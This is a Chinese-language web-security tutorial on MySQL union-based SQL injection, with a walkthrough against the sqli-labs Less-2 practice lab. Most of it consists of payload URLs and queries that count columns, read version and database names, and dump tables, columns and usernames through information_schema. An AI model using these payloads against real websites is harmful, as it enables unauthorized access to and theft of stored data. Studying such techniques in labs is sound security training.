Mysql注入 -- 联合注入

Posted web安全工具库

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Mysql注入 -- 联合注入相关的知识,希望对你有一定的参考价值。

得到一个像原来老师一样督促你、关心你的人很难。。。

​----  网易云热评 

一、常用命令及函数

1、order by排序,获取数据有几个字段,后面小于等于字段数,都会返回结果,大于字段数返回错误

select * from users order by 3;

2、union select联合查询,后边必须跟一样的字段数

select * from users union select 1,2,5;

3、user()查看当前mysql用户

4、version()查看mysql版本信息

5、database()查看当前数据库名

select * from users union select user(),version(),database();

 

二、跨库查询

1、获取aiyou数据库中表

select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou";

2、获取下一个表格

select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 0,1;select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 1,1;select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 2,1;

3、获取字段名

select * from users union select 1,2,column_name from information_schema.columns where table_name="bucuo";

4、获取字段内容

select * from users union select 1,2,username from users;

三、实例演示(sqli环境)

1、判断表有多少字段,order by 3返回正常,所以有三个字段

http://192.168.139.129/sqli/Less-2/?id=1 order by 3 

2、联合查询可以显示的数列,让前面的select语句报错,才能执行后面的select语句

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,3

3、获取数据库名字和版本信息,因为1不能显示,所以将2和3替换为version(),database()

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,version(),database()

4、获取数据库security的表

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security"

获取第二个表、第三个表

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security" limit 1,1 --

5、获取表名为users的字段名

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users"http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users" limit 1,1 --

6、获取字段内容

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from usershttp://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from users limit 1,1 --

 

 

禁止非法,后果自负

欢迎关注公众号:web安全工具库

欢迎关注视频号:之乎者也吧

 

以上是关于Mysql注入 -- 联合注入的主要内容,如果未能解决你的问题,请参考以下文章

浅谈联合注入

sql注入之mysql的联合查询爆破

零基础学习MYSQL高版本手工联合注入(墨者靶场)

豹子安全-注入工具-疑问_MySQL_基于联合查询_按钮获取基本信息不能成功的解决方法。

一个SQL注入可视化技巧

SQL注入之MySQL